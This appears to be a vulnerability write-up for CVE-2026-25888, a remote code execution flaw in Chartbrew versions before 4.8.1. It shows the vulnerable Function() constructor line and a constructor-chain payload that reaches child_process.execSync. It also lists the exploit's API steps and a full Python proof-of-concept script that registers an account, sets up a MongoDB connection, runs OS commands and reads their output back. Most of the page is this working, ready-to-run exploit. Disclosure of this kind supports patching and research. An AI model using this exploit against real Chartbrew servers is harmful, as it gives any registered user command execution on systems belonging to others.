Grandmaster rank emblem

Lvl 99

Level XP3,807/5,718

3807 of 5718
Grandmaster dreadnaught
CVE
CVE-2026-25888
Product
Chartbrew
Fixed in
4.8.1

Chartbrew builds a JavaScript Function() from the user-supplied MongoDB query with no sanitisation, then calls it. Any registered user can escape the intended query context and run OS commands as the API process.

Vulnerable code

POST /project/:id/chart/test interpolates the raw query field into a Function() constructor:

// ChartController.testMongoQuery()
Function(`'use strict';return (mongoose) => mongoose.${query}`)()(mongoose)

Injection

The query breaks out of the mongoose. member expression and walks the constructor chain to process:

constructor.constructor("return process")()
  .mainModule.require("child_process")
  .execSync("id")

mongoose.constructor is Object; its .constructor is Function; Function("return process")() returns the global process, from which require("child_process") is reachable. Strict mode does not contain the Function constructor.

Exploit path

Every step is a low-privilege API call:

POST /user                    register (open signup)
GET  /team                    grab the auto-created team id
POST /project                 create a project
POST /team/:id/connections    add a MongoDB connection
POST /project/:id/chart/test  warm the shared pool, then fire the payload

The endpoint reuses mongoose's shared pool (mongoose.connect()), so one harmless query primes the connection and the payload fires on a hot socket, so a shell lands in ~3s.

Fix

4.8.1 validates the query against an acorn AST allow-list before evaluation; 4.9.0 is the consolidated security release.

PoC

End-to-end: register, create a project + MongoDB connection, fire the injection via /chart/test, and read command output back through a second injection:

#!/usr/bin/env python3
"""
CVE-2026-25888 — Chartbrew RCE Proof of Concept
================================================
Authenticated code injection via Function() constructor in MongoDB query handler.
Tested against Chartbrew v4.8.0.

Usage:
    python3 poc.py http://localhost:4019

Requirements:
    - Chartbrew < 4.8.1
    - Open signup (default) OR valid credentials
    - MongoDB reachable from the Chartbrew server (for mongoose.connect)
"""

import requests
import sys
import json
import time

class ChartbrewExploit:
    def __init__(self, api_url, mongo_url="mongodb://mongo:27017/test"):
        self.api = api_url.rstrip("/")
        self.mongo_url = mongo_url
        self.token = None
        self.team_id = None
        self.project_id = None
        self.connection_id = None
        self.headers = {"Content-Type": "application/json"}

    def _auth_headers(self):
        return {**self.headers, "Authorization": f"Bearer {self.token}"}

    def register(self, email, password, name="researcher"):
        print(f"[1] Registering as {email}...")
        r = requests.post(f"{self.api}/user", headers=self.headers, json={
            "name": name, "email": email, "password": password
        })
        if r.status_code != 200:
            # Maybe already registered, try login
            print(f"    Registration returned {r.status_code}, trying login...")
            return self.login(email, password)

        data = r.json()
        self.token = data.get("token")
        print(f"    Registered. Token: {self.token[:20]}...")
        return True

    def login(self, email, password):
        r = requests.post(f"{self.api}/user/login", headers=self.headers, json={
            "email": email, "password": password
        })
        if r.status_code != 200:
            print(f"    Login failed: {r.status_code} {r.text[:100]}")
            return False
        data = r.json()
        self.token = data.get("token")
        print(f"    Logged in. Token: {self.token[:20]}...")
        return True

    def setup_team(self):
        print("[2] Getting team...")
        r = requests.get(f"{self.api}/team", headers=self._auth_headers())
        teams = r.json()
        self.team_id = teams[0]["id"]
        print(f"    Team ID: {self.team_id}")

    def create_project(self):
        print("[3] Creating project...")
        r = requests.post(f"{self.api}/project", headers=self._auth_headers(), json={
            "team_id": self.team_id, "name": "Research"
        })
        data = r.json()
        self.project_id = data.get("id")
        print(f"    Project ID: {self.project_id}")

    def create_connection(self):
        print(f"[4] Creating MongoDB connection ({self.mongo_url})...")
        r = requests.post(
            f"{self.api}/team/{self.team_id}/connections",
            headers=self._auth_headers(),
            json={
                "type": "mongodb",
                "name": "exploit-conn",
                "host": self.mongo_url,
                "dbName": "test",
                "project_ids": [self.project_id],
                "team_id": self.team_id,
            }
        )
        data = r.json()
        self.connection_id = data.get("id")
        print(f"    Connection ID: {self.connection_id}")

    def execute(self, cmd):
        """Execute an OS command via the Function() code injection."""
        # The payload chain:
        #   mongoose.constructor → Object
        #   .constructor → Function
        #   ("return process")() → global process object
        #   .mainModule.require("child_process") → child_process module
        #   .execSync(cmd) → execute and return stdout
        payload = (
            'constructor.constructor("return process")()'
            '.mainModule.require("child_process")'
            f'.execSync("{cmd}")'
        )

        r = requests.post(
            f"{self.api}/project/{self.project_id}/chart/test",
            headers=self._auth_headers(),
            json={"connection_id": self.connection_id, "query": payload},
            timeout=35,
        )
        return r

    def rce(self, cmd):
        """Execute command and retrieve output via file write + read."""
        ts = int(time.time())
        outfile = f"/tmp/.out_{ts}"

        # Write command output to temp file
        self.execute(f"{cmd} > {outfile} 2>&1")

        # Read it back via a second injection
        read_payload = (
            'constructor.constructor("return process")()'
            '.mainModule.require("child_process")'
            f'.execSync("cat {outfile}").toString()'
        )
        r = requests.post(
            f"{self.api}/project/{self.project_id}/chart/test",
            headers=self._auth_headers(),
            json={"connection_id": self.connection_id, "query": read_payload},
            timeout=35,
        )

        # Clean up
        self.execute(f"rm -f {outfile}")

        # The response body might contain the output if it's returned as data
        # Otherwise check the text
        try:
            data = r.json()
            if isinstance(data, str):
                return data
            if isinstance(data, dict) and data:
                return json.dumps(data)
            # If empty response, try the direct approach
        except:
            pass

        return r.text if r.text else "(empty response - check file manually)"


def main():
    target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:4019"
    mongo = sys.argv[2] if len(sys.argv) > 2 else "mongodb://mongo:27017/test"

    print(f"CVE-2026-25888 — Chartbrew RCE PoC")
    print(f"Target: {target}")
    print(f"Mongo:  {mongo}")
    print("=" * 50)

    exploit = ChartbrewExploit(target, mongo)

    # Setup
    ts = int(time.time())
    if not exploit.register(f"poc_{ts}@test.com", "P0cPassw0rd!"):
        print("[-] Failed to authenticate")
        sys.exit(1)

    exploit.setup_team()
    exploit.create_project()
    exploit.create_connection()

    # Prove RCE
    print("\n[5] Executing: id")
    exploit.execute("id > /tmp/poc_proof.txt")
    time.sleep(1)

    print("[6] Reading output...")
    read_payload = (
        'constructor.constructor("return process")()'
        '.mainModule.require("fs")'
        '.readFileSync("/tmp/poc_proof.txt").toString()'
    )
    r = requests.post(
        f"{target}/project/{exploit.project_id}/chart/test",
        headers=exploit._auth_headers(),
        json={"connection_id": exploit.connection_id, "query": read_payload},
        timeout=35,
    )
    print(f"    Status: {r.status_code}")
    print(f"    Body:   {repr(r.text[:200])}")

    # Verify by reading directly from container
    print("\n[*] To verify locally: docker exec src-chartbrew-1 cat /tmp/poc_proof.txt")
    print("[*] Done.")


if __name__ == "__main__":
    main()